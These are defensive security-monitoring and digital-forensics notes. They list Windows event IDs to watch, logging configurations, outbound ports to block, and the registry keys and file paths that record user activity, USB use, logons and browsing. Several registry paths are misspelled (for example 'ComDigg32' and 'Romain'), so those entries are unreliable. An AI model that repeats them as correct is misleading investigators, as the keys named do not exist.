#### USB Events To Monitor (Critical Control 8-3)

7045, 10000, 100001, 10100, 20003, 24576, 24577, 24579, 20001 (sometimes 10002 instead of 10001)

#### SEC511 Events to Monitor:

Log Name	Provider Name	Event IDs	Description
System		7045	A service was installed in the system
System		7030	...service is marked as an interactive service. However, the system is configured to not allow interactive services. This service may not function properly.
System		1056	Create RDP certificate
System		7045, 10000, 10001, 10100, 20001, 20002, 20003, 24576, 24577, 24579	Insert USB
Security		4624	Account Logon
Security		4625	Failed login
Security		4688	Process creation logging
Security		4720	A user account was created
Security		4722	A user account was enabled
Security		4724, 4738	Additional user creation events
Security		4728	A member was added to a security-enabled global group
Security		4732	A member was added to a security-enabled local group
Security		1102	Clear Event log
Application	EMET	2	EMET detected ... mitigation and will close the application: ...exe
Firewall		2003	Disable firewall
Microsoft-Windows-AppLocker/EXE and DLL		8003	(EXE/MSI) was allowed to run but would have been prevented from running if the AppLocker policy were enforced
Microsoft-Windows-AppLocker/EXE and DLL		8004	(EXE/MSI) was prevented from running.
Microsoft-Windows-WindowsDefender/Operational		1116	Windows Defender has detected malware or other potentially unwanted software
Microsoft-Windows-WindowsDefender/Operational		1117	Windows Defender has taken action to protect this machine from malware or other potentially unwanted software



<https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm>

Windows Vista and above Events	
General Event Descriptions	General Event IDs
Account and Group Activities	4624, 4625, 4648, 4728, 4732, 4634, 4735, 4740, 4756
Application Crashes and Hangs	1000 and 1002
Windows Error Reporting	1001
Blue Screen of Death (BSOD)	1001
Windows Defender Errors	1005, 1006, 1008, 1010, 2001, 2003, 2004, 3002, 5008
Windows Integrity Errors	3001, 3002, 3003, 3004, 3010 and 3023
EMET Crash Logs	1 and 2
Windows Firewall Logs	2004, 2005, 2006, 2009, 2033
MSI Packages Installed	1022 and 1033
Windows Update Installed	2 and 19
Windows Service Manager Errors	7022, 7023, 7024, 7026, 7031, 7032, 7034
Group Policy Errors	1125, 1127, 1129
AppLocker and SRP Logs	865, 866, 867, 868, 882, 8003, 8004, 8006, 8007
Windows Update Errors	20, 24, 25, 31, 34, 35
Hotpatching Error	1009
Kernel Driver and Kernel Driver Signing Errors	5038, 6281, 219
Log Clearing	104 and 1102
Kernel Filter Driver	6
Windows Service Installed	7045
Program Inventory	800, 903, 904, 905, 906, 907, 908
Wireless Activities	8000, 8001, 8002, 8003, 8011, 10000, 10001, 11000, 11001, 11002, 11004, 11005, 11006, 11010, 12011, 12012, 12013
USB Activities	43, 400, 410
Printing Activities	307

Table 1: Vista and above Events

#### Cisco Logging – Change Detection

[Cisco Configuration Change Notification and Logging](#)

```
enable
configure terminal
logging <syslog>
archive
log config
logging enable
logging size 1000
hidekeys
notify syslog
end
```

#### DNS Logging

[Enable DNS Query Logging on Windows 2008/2012](#)  
DNS Manager / Action / Properties / Debug Logging

```
Enable Query Logging on Bind 9
logging {
    channel querylog {
        file "/var/log/named/query.log";
        print-time yes;
    };
    Category queries { querylog; };
};
```

## **FireWall Logging (SEC511)**

---

Inbound & Outbound denies

Outbound Ports to Block/Log/Alert

22/tcp, 23/tcp, 25/tcp, 135/tcp, 137/udp, 139/tcp, 445/tcp, 1900/udp, 3389/tcp

---

## Appendix: Forensics Deep Dive

---

### Local Evidence Categories

---

User Communication  
File Download  
Program Execution  
File / Folder Opening  
File Knowledge  
Physical Location  
USB Key Usage  
Account Usage  
Browser Usage

### File Download

---

**Open/Save MRU** - This key tracks files that have been opened or saved within a Windows shell dialog box. This happens to be a big data set, including web browsers and common applications.

Location:

XP - NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigg32\OpenSaveMRU  
Win 7/8/10 -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigg32\OpenSavePID1MRU  
The "\*" key - this subkey tracks the most recent files of any extension input in an OpenSave dialog

.??? (Three letter extension) - This subkey stores file info from the OpenSave dialog by specific extension

**Email Attachments** - estimated that 80% of email data is stored via attachments. Email standards only allow text. Attachments must be encoded with MIME/base64 format.

Location (Outlook):

XP - %USERPROFILE%\Local Settings\ApplicationData\Microsoft\Outlook

Win7/8/10 - %USERPROFILE%\AppData\Local\Microsoft\Outlook

Outlook data files found in these locations include OST and PST files. Also look at the OLK and Content Outlook folder, which might roam depending on the Outlook version used. For more info for OLK go to

<http://www.handcockcomputertech.com/blog/2010/06/find-the-microsoft-outlook-temporary-olk-folder>

**Skype History** - keeps a log of chat sessions and files transferred from one machine to another and is turned on by default

Location:

XP - C:\Documents and Settings\<username>\Application\Skype\<skype-name>

Win7/8/10 - C:\%USERPROFILE%\AppData\Roaming\Skype\<skype-name>

Each entry will have a date/time value and Skype user name associated with the action

**Browser Artifacts** - Not related to File Download, but details stored for each local user account. Records # times visited (frequency)

IE Location:

IE 8-9 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\index.dat

IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat

Firefox Locations:

V3-25 - %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\downloads.sqlite

V26+ - %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random text>.default\places.sqlite Table:moz\_annos

Chrome Location:

Win7/8/10: %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History

Many sites in history will list files that were opened from remote sites and downloaded to the local system. History will record the access to the file on the website that was accessed via a link.

**Downloads** - Firefox and IE have built in download manager application which keeps a history of every file downloaded by the user. This browser artifact can provide excellent information about what sites a user has been visiting and what kinds of files they have been downloading from them.

Firefox Location:

IE - %userprofile%\Application Data\Mozilla\Firefox\Profiles\<random

```

text>.default\downloads.sqlite
Win7/8/10 - %userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<random
text>.default\downloads.sqlite
IE:
IE8-9 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory\
IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat
Downloads include name, size, type, save location, download start and end times,
download from and referring page, application used to open file
ADS Zone.Identifier - Starting with XP SP2 when files are downloaded from the Internet
Zone via a browser to a NTFS volume, an alternate data stream is added to the file.
The alternate data stream is named "Zone Identifier."
Files with an ADS Zone.Identifier and contains ZoneID=3 were downloaded from the
Internet
URLZONE_TRUSTED = ZoneID = 2
URLZONE_INTERNET = ZoneID = 3
URLZONE_UNTRUSTED = ZoneID = 4

```

## Program Execution

---

UserAssist - GUI based program launched from the desktop are tracked in the launcher on a Windows system.

Location: NTUSER.DAT -  
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count  
All values are ROT-13 Encoded; XP GUID - 75048700 (Active Desktop); Win 7/8/10 GUID - CEBFF5CD (Executable File Execution); F4E57C4B (Shortcut File Execution)  
Program Locations for Win7 Userassist: ProgramFilesx64 - 6D809377-...; ProgramFilesx86 - 7C5A40EF-...; System-IAC14E77-...; System86 - D65231B0-...; Desktop - B4BFCC3A - ...; Documents - FDD39AD0-...; Downloads - 374DE290-...; UserProfiles - 0762D272-...

Last-Visited MRU - Tracks the specific executable by an application to open the files documented in the OpenSave MRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (Example - Notepad.exe was last run using the C:\%USERPROFILE%\Desktop folder)

Location:  
XP -  
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigg32\LastVisitedMRU  
Win 7/8/10 -  
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigg32\LastVisitedPid1MRU  
Tracks the application executables used to open files in OpenSaveMRU and the last path used.

RunMRU Start->Run - Whenever someone does a Start->Run command, it will log the entry for the command they executed.

Location - NTUSER.DAT HIVE;  
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU  
The order in which the commands are executed is listed in the RunMRU list value. The letters represent the order in which the commands were executed.

AppCompatCache - Windows Application Compatibility Database is used by Windows to identify possible application compatibility challenges with executables. Tracks the executables file name, file size, last modified time, and in Windows XP the last update time.

Location:  
XP - SYSTEM\CurrentControlSet\Control\SessionManager\AppCompatibility  
Win 7/8/10 - SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\Any executable run on the Windows system could be found in this key. You can use this key to identify systems that specific malware was executed on. In addition, based on the interpretation of the time based data you might be able to determine the last time of execution or activity on the system.  
Windows XP contains at most 96 entries - LastUpdateTime is updated when the files are executed  
Windows 7 contains at most 1024 entries - LastUpdateTime does not exist on Win7 systems

Jump Lists - The Windows 7 task bar (Jump List) is engineered to allow users to "jump" or access items they have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AUTOMATICDestinations folder will each have a unique

file prepended with the AppID of the associated application.  
Location Win7/8/10 -  
C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations  
First time of execution of application - CreationTime = First time item added to the AppID file  
Last time of execution of application w/file open - Modification Time = Last time item added to the AppID file  
List of Jump List IDs -> [http://www.forensicswiki.org/wiki/List\\_of\\_Jump\\_List\\_IDs](http://www.forensicswiki.org/wiki/List_of_Jump_List_IDs)

Prefetch - Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system

Limited to 128 files on XP and Win7; Limited to 1024 files on Win8; (exename)-(hash).pf

Location - WinXP/7/8/10 - C:\Windows\Prefetch

Each .pf will include last time of execution, number of times run, and device and file handles used by the program

Date/Time file by that name and path was first execution - Creation Date of .pf file (-10 seconds)

Date/Time file by that name and path was last executed - Embedded last execution time of .pf file - last modification date of .pf file (-10 seconds) - Win8+ will contain last 8 times of execution

Amacache.hve/RecentFileCache.bcf - ProgramDataUpdater (a task associated with the Application Experience Service) uses the registry file RecentFileCache.bcf to store data during process creation.

Location Win7/8/10 - C:\Windows\AppCompat\Programs\Amcache.hve (Win 7/8,8.1)

Win7 - C:\Windows\AppCompat\Programs\RecentFileCache.bcf

RecentFileCache.bcf - Executable PATH and FILENAME and the program is probably new to the system

The program executed on the system since the last ProgramDataUpdated task has been run  
Amcache.hve - Keys = Amcache.hve\Root\File\{Volume GUID}\#####

Entry for every executable run, full path info, File's \$StandardInfo Last Modification Time, and Disk volume the executable was run from

First Run Time = Last Modification Time of Key

SHA1 hash of executable also contained in the key

## **File/Folder Opening**

Open/Save MRU - This key basically tracks files that have been opened or saved within a Windows shell dialog box. This is a big data set, including web browsers and commonly used applications.

Location:

XP - NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigi32\OpenSaveMRU  
Win7/8/10 -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigi32\OpenSavePID1MRU

The "\*" key - tracks the most recent files of any extension input in an OpenSave dialog

.??? (Three letter extension) - This subkey stores file info from the OpenSave dialog by specific extension.

Last-Visited MRU - Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application (i.e. - Notepad.exe was last run using the C:\User\Rob\Desktop folder

Location:

XP -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigi32\LastVisitedMRU

Win7/8/10 -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDigi32\LastVisitedPid1MRU

Tracks the application executables used to open files in OpenSaveMRU and the last file path used

Recent Files - Registry key that will track the last files and folders opened and is used to populate data in "Recent" menus of the Start menu

Location - NTUSER.DAT -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs  
RecentDocs – overall key will track the overall order of the last 150 files or folders opened. MRU list will keep track of the temporal order in which each file/folder was opened. The last entry and modification time of this key will be the time and location the last file of a specific extension was opened.  
.??? – This subkey stores the last files with a specific extension that were opened. MRU list will keep track of the temporal order in which each file was opened. The last entry and modification time of this key will be the time and location of the last file of a specific extension was opened.  
Folder – This subkey stores the last folders that were opened. MRU list will keep track of the temporal order in which each folder was opened. The last entry and modification time of this key will be the time and location of the last folder opened.

Office Recent Files – MS Office programs will track their own Recent Files list to make it easier for users to remember the last file they were editing.

Location – NTUSER.DAT\Software\Microsoft\Office\VERSION – 14.0=Office 2010; 12.0=Office 2007; 11.0 = Office 2003; 10.0 = Office XP

NTUSER.DAT\Software\Microsoft\Office\VERSION\UserMRU\LiveID\_####\FileMRU – 15.0=Office365

Similar to the Recent Files, this will track the last files that were opened by each MS Office application. The last entry added, per the MRU will be the time the last file was opened by a specific MS Office application.

Shell Bags – Which folders were accessed on the local machine, the network, and/or removable devices. Evidence of previously existing folders after deletion/overwrite. When certain folders were accessed.

Location Explorer Access:

USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags

USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU

Location Desktop Access:

NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU

NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags

Stores information about which folders were most recently browsed by the user.

Shortcut (LNK) Files – Shortcut Files automatically created by Windows – Recent Items – Opening local and remote data files and documents will generate a shortcut file (.lnk)  
Location:

XP – C:\%USERPROFILE%\Recent

Win7/8/10 – C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\

C:\%USERPROFILE%\AppData\Roaming\Microsoft\OfficeRecent\

Note these are the primary locations of LNK files. They can also be found elsewhere

Date/Time file of that name was first opened – CreationDate of Shortcut (LNK) file

Date/Time file of that name was last opened – Last Modification Date of Shortcut (LNK) File

LNK Target File (Internal LNK File Information) Data: –Modification, Access, and

Creation times of the target file –Volume Information (Name, Type, Serial Number) –

Network Share Information –Original Location –Name of System

Jump Lists – The Windows 7 task bar (Jump List) is engineered to allow users to “jump” or access items have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks. The data stored in the AutomaticDestinations folder will each have a unique file prepended with the AppID of the association application and embedded with LNK files in each stream.

Location Win7/8/10 –

C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations

Using the Structured Storage Viewer; open up one of the AUtomaticDestination jumplist files

Each one of these files is a separate LNK file. They are also stored numerically in order from the earliest one (usually 1) to the most recent (largest integer value)

Prefetch – Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system. Limited to 128 files on XP and Win7. Limited to 1024 files on Win8. (exename)-(hash).pf

Locations WinXP/7/8/10 – C:\Windows\Prefetch

Can examine each .pf file to look for file handles recently used

Can examine each .pf file to look for device handles recently used

Index.dat file:// - A little known fact about the IE History is that the information stored in the history files is not just related to Internet browsing. The history also records, local, removable, and remote (via network shares) file access giving us an excellent means for determining which files and applications were accessed on the system, day by day.

Location:

IE6-7 - %USERPROFILE%\Local Settings\History\History.IE5

IE8-9 - %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5

IE10-11 - %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat

Stored in index.dat as [file:///C:/directory/filename.ext](#)

Does not mean file was opened in browser

### **Deleted File or File Knowledge**

XP Search - ACMRU - You can search for a wide range of information through the search assistant on a Windows XP machine. The search assistant will remember a user's search terms for filenames, computers, or words that are inside a file. This is an example of where you can find the "Search History" on the Windows system.

Location NTUSER.DAT HIVE - NTUSER.DAT\Software\Microsoft\SearchAssistant\ACMRU\####

Search the Internet - ####=5001

All or part of a document name - ####-5603

A word or phrase in a file - ####-5604

Printers, Computers, and People - ###-5647

Search - WordWheelQuery - Keywords search for from the START menu bar on a Windows 7 machine

Locations - Win7/8/10 NTUSER.DAT Hive -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery

Keywords are added in Unicode and listed in temporal order in an MRU list.

Last-Visited MRU - Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition each value also tracks the directory location for the last file that was accessed by that application.

Location:

XP -

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDtg32\LastVisitedMRU

Win 7/8/10-

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDtg32\LastVisitedPidlMRU

Tracks the application executables used to open files in OpenSaveMRU and the last file path used

Thumbs.db - Hidden file in directory where pictures on Windows XP machine exist.

Catalogs all the pictures and stores a copy of them thumbnail even if the pictures were deleted.

Location - Each directory where pictures resided that were viewed in thumbnail mode.

Many cameras also will autogenerate thumbs .db file when you view the pictures on the camera itself

Thumbnail picture of original, last modification time, original filename

Thumbscache - On Vista/Win7 versions of Win, thumbs.db does not exist. The data now sit under a directory for each user of the machine located in their application data directory under their home directory.

Location - C:\%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer

These are created when a user switches a folder to thumbnail mode or views pictures via a slide show. As it were, our thumbs are now stored in separate db files.

Vista/Win7 has 4 sizes for thumbnails and the files in the cache folder reflect this - 32 -> small; 96 -> medium; 256 -> large; 1024 -> extra large

The thumbscache will store the thumbnail copy of the picture based on the thumbnail size in the content of the equivalent database file

XP Recycle Bin - The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investigation, as every file that is deleted from a Windows recycle bin aware program is generally first put in the recycle bin.

Location Hidden System Folder

Windows XP - C:\RECYCLER\* 2000/NT/XP/2003

Subfolder is created with user's SID

Hidden file in directory called "INFO2"  
INFO2 Contains Deleted Time and Original Filename  
Filename in both ASCII and UNICODE  
SID can be mapped to user via Registry Analysis  
Maps file name to the actual name and path it was deleted from

Win 7/8/10 Recycle Bin - The recycle bin is a very important location on a Windows file system to understand. It can help you when accomplishing a forensic investigation, as every file that is deleted from a Windows recycle bin aware program is generally first put in the recycle bin.

Location Hidden System Folder

Win 7/8/10 - C:\\$Recycle.bin

Deleted Time and Original Filename contained in separate files for each deleted recovery file

SID can be mapped to user via Registry Analysis

Win7/8/10 Files Preceded by \$|##### files contain

Original PATH and name

Deletion Date/Time - Files Preceded by \$R##### files contain

Recovery Data

Index.dat file:// - A little known fact about the IE History is that the information stored in the history file is not just related to Internet browsing. The history also records local and remote (via network share) file access, giving us an excellent means for determining which files and applications were accessed on the system, day by day.

Location:

IE6-7: %USERPROFILE%\LocalSettings\History\History.IE5

IE8-9: %USERPROFILE%\AppData\Local\Microsoft\WindowsHistory\History.IE5

IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat

Stored in index.dat at <file:///C:/directory/filename.ext>

Does not mean file was opened in browser

## **Physical Location**

Timezone - Identifies the current system time zone

Location SYSTEM Hive - SYSTEM\CurrentControlSet\Control\TimeZoneInformation

Time activity is incredibly useful for correlation of activity

Internal log files and date/timestamps will be based on the system time zone information

You might have other network devices and you will need to correlate information to the time zone information collected here.

Network History - Identify networks that the computer has been connected to. Networks could be wireless or wired. Identify domain name/intranet name. Identify SSID. Identify Gateway MAC Address.

Location Win7/8/10 Software Hive:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed

SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache

Identifying intranets and networks that a computer has connected to is incredibly important. Not only can you determine the intranet name, you can determine the last time the network was connected to based on the last write time of the key. This will also list any networks that have been connected to via a CPN. MAC Address of SSID for Gateway could be physically triangulated

Cookies - Cookies give insight into what websites have been visited and what activities may have taken place there.

Locations:

IE6-8: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies

IE10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies

IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCookies

Firefox-XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<random text>.default\cookies.sqlite

Firefox-Win7/8/10:

%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite

Chrome-XP: %USERPROFILE%\Local Settings\ApplicationData\Google\Chrome\User Data\Default\Local Storage

Chrome Win7/8/10- %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Local Storage

Browser Search Terms - Records websites visited by date and time. Details stored for each local user account. Records number of times visited (frequency). Also tracks access



of local system files. This will also include the website history of search terms in search engines.

Locations:

IE6-7: %USERPROFILE%\Local Settings\History\History.IE5

IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5

IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat

Firefox-XP: %userprofile%\Application Data\Mozilla\Firefox\Profiles\<randomtext>default\places.sqlite

Win7/8/10:

%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\places.sqlite

### **External Device/USB Usage**

Key Identification - Track USB devices plugged into a machine

Location:

SYSTEM\CurrentControlSet\Enum\USBSTOR

SYSTEM\CurrentControlSet\Enum\USB

Identify the vendor, product, and version of a USB device plugged into a machine. Identify a unique USB device plugged into the machine. Determine the time a device was plugged into the machine. Devices that do not have a unique serial number will have an "&" in the second character of the serial number.

First/Last Times - Determine temporal usage of specific USB devices connected to a Windows Machine.

Location First Time:

XP - C:\Windows\setupapi.log

Win7/8/10 - C:\Windows\inf\setupapi.dev.log

Search for Device Serial Number & Log File times are set to local time zone.

Location First, Last and Removal Times (Win 7/8/10 Only):

System Hive - \CurrentControlSet\Enum\USBSTOR\Ven\_Prod\_Version\USB

iSerial - \#Properties\{83da6326-97a6-4088-9453-a1923f573b29}\####

0064 = First Install (Win7/8); 0066 = Last Connected (Win 8 Only); 0067 = Last Removal (Win 8 Only)

User - Find User that used the Unique USB Device.

Location: Look for GUID from SYSTEM\MountedDevices

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2

This GUID will be used next to identify the user that plugged in the device. The last write time of this key also corresponds to the last time the device was plugged into the machine by that user. The number will be referenced in the user's personal mountpoints key in the NTUSER.DAT Hive.

Volume Serial Number - Discover the Volume Serial Number of the Filesystem Partition on the USB (NOTE: This is not the USB Unique Serial Number, that is hardcoded into the device firmware).

Location: SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ENDMgmt

Use Volume Name and USB Unique Serial Number to find; last integer number in line; convert decimal serial number into hex serial number

Knowing both the Volume Serial Number and the Volume Name you can correlate the data across SHORTCUT file (LNK) analysis and the RECENTDOCS key. The Shortcut File (LNK) contains the Volume Serial Number and Name. RecentDocs Registry Key in most cases will contain the volume name when the USB device is opened via Explorer

Drive Letter & Volume Name - Discover the last drive letter of the USB Device when it was plugged into the machine

XP - Find ParentIdPrefix - SYSTEM\CurrentControlSet\Enum\USBSTOR. Using ParentIdPrefix Discover Last Mount Point - SYSTEM\MountedDevices

Win7/8/10 - SOFTWARE\Microsoft\Windows Portable Devices\Devices

SYSTEM\MountedDevices

Examine Drive Letter's looking at Value Data Looking for Serial Number

Identify the USB device that was last mapped to a specific drive letter. This technique will only work for the last drive mapped. It does not contain historical records of every drive letter mapped to a removable drive.

Shortcut (LNK) Files - shortcut files automatically created by Windows - recent items & open local and remote data files and documents will generate a shortcut file (.lnk)

Location:

XP - %USERPROFILE%\Recent

Win7/8/10 - %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent  
%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent  
Date/Time file of that name was first opened - Creation Date of Shortcut (LNK) File  
Date/Time file of that name was last opened - Last Modification Date of Shortcut (LNK) File  
LNK Target File (Internal LNK File Information) Data: Modified, Access, and Creation times of the target file  
Volume Information (Name, Type Serial Number) - Network Share Info, Original Location, Name of System

PnP Events - When a Plug and Play driver is installed the service will log and ID 20001 event and provide a status within the event. It is important to note that this event will trigger for any Plug and Play capable device, including but not limited to USB, Firewire, and PCMCIA devices.

Location (System Log File):

Win 7/8/10- %system root%\System32\winevt\logs\System.evtx

Event ID 20001 - Plug and Play driver install attempted; Timestamp, Device information, Device serial number, status (0 = no errors)

### Account Usage

Last Login - Lists the local accounts of the system and their equivalent security identifiers.

Location:

C:\windows\system32\config\SAM

SAM\Domains\Account\Users

Only the last login time will be stores in the registry key

Last Password Change - Lists the last time the password of a specific user has been changed.

Location:

C:\windows\system32\config\SAM

SAM\Domains\Account\Users

Only the last password change time will be stored in the registry key

Success/Fail Logons - Determine which accounts have been used for attempted logons. Track account usage for known compromised accounts.

Locations:

XP - %system root%\System32\config\SecEvent.evt

Win 7/8/10 - %system root%\System32\winevt\logs\Security.evtx

Event ID 528/4624 - Successful Logon; 529/4625 - Failed Logon; 538/4634 - Successful Logoff; 540/4624 - Successful Network Logon (i.e. file shares)

Logon Types - Logon Events can give us very specific information regarding the nature of the account authorizations on a system if we know where to look and how to decipher the data that we find. In addition to telling us the date, time, username, hostname, and success/failure status of a logon, Logon Events also enables us to determine by exactly what means a logon was attempted.

XP Event ID 528

Win 7/8/10 - Event ID 4624

Logon Type - 2-Logon via console; 3 - Network Logon; 4 - Batch Logon; 5 - Windows Service Logon; 7 - Credentials used to unlock screen; 8 - Network logon sending credentials (clear text); 9 - Different credentials used than logged on user; 10 - Remote interactive logon (RDP); 11 - Cached credentials used to logon; 12 - Cached remote interactive (similar to Type 10); 13 - Cached unlock (similar to Type 7)

RDP Usage - Track Remote Desktop Protocol logons to target machines

Location (Security Log):

XP - %SYSTEM ROOT%\System32\config\SecEvent.evt

Win7/8/10 - %SYSTEM ROOT%\System32\winevt\logs\Security.evtx

Event ID 682/4778 - Session Connected/Reconnected

Event ID 683/4779 - Session Disconnected

Event log provides hostname and IP address of remote machine making the connection. On workstations you will often see current console session disconnected (683) followed by RDP connection (682).

Services Events - Analyze logs for suspicious services running at boot time & review services started or stopped around the time of a suspected compromise.

Event ID 7034 - Service crashed unexpectedly; 7035 - Service sent a Start/Stop control; 7036 - Service started or stopped; 7040 - Start type changed (Boot | On Request | Disabled)

A large amount of malware and worms in the wild utilize Services; Services started on boot illustrate persistence (desirable in malware); Services can crash due to attacks like process injection

## Browser Usage

History - Records websites visited by date and time. Details stored for each local user account. Records number of times visited (frequency). Also tracks access of local system files.

Locations:

IE6-7: %USERPROFILE%\Local Settings\History\History.IE5

IE8-9: %USERPROFILE%\AppData\Local\Microsoft\Windows\History\History.IE5

IE10-11: %USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV\*.dat

Firefox-XP: %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<randomtext>.default\places.sqlite

Firefox-Win7/8/10 - %USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\places.sqlite

Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\History

Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History

Cookies - Cookies give insight into what websites have been visited and what activities may have taken place there.

Locations:

IE8-10: %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Cookies

IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INETCookies

Firefox-XP - %USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite

Firefox-Win7/8/10 -

%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\cookies.sqlite

Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Local Storage\

Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Local Storage

Cache - The cache is where web page components can be stored locally to speed up subsequent visits. Gives the investigator a "snapshot in time" of what a user was looking at online - Identifies which websites which were visited - Provides the actual files the user viewed on a given website - Cached files are tied to a specific local user account - Timestamps show when the site was first saved and last viewed

Location:

IE8-10: %USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5

IE11: %USERPROFILE%\AppData\Local\Microsoft\Windows\INETCache\IE

Firefox-XP: %USERPROFILE%\Local Settings\ApplicationData\Mozilla\Firefox\Profiles\<randomtext>.default\Cache

Firefox-Win7/8/10 -

%USERPROFILE%\AppData\Local\Mozilla\Firefox\Profiles\<randomtext>.default\Cache

Chrome-XP - %USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\Default\Cache - data\_# and f\_#####

Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Cache - data\_# and f\_#####

Session Restore - Automatic Crash Recovery features built into the browser.

Location:

IE-Win7/8/10 - %USERPROFILE%\AppData\Local\Microsoft\Internet Explorer\Recovery

Firefox-Win7/8/10 -

%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.default\sessionstore.js

Chrome-Win7/8/10 - %USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default

Files = Current Session, Current Tabs, Last Session, Last Tabs

Historical websites viewed in each tab, referring websites, time session ended, modified time of .dat files in LastActive folder, time each tab opened (only when crash occurred), creation time of .dat files in Active folder

Flash & Super Cookies - Local Stored Objects (LSOs), or Flash Cookies, have become ubiquitous on most systems due to the extremely high penetration of Flash applications across the Internet. They tend to be much more persistent because they do not expire, and there is no built in mechanism within the browser to remove them. In fact, many sites have begun using LSOs for their tracking mechanisms because they rarely get cleared like traditional cookies.

Location Win7/8/10 -  
%APPDATA%\Romain\Macromedia\FlashPlayer\#SharedObjects\<randomprofileid>  
Websites visited, user account used to visit the site, when cookie was created and last accessed

Google Analytics Cookies - Google Analytics (GA) has developed an extremely sophisticated methodology for tracking site visits, user activity, and paid search. Since GA is largely free, it has a commanding share of the market estimated at over 80% of sites using traffic analysis and over 50% of all sites.

\_utma - Unique visitors - domain hash, visitor id, cookie creation time, time of 2<sup>nd</sup> most recent visit, number of visits

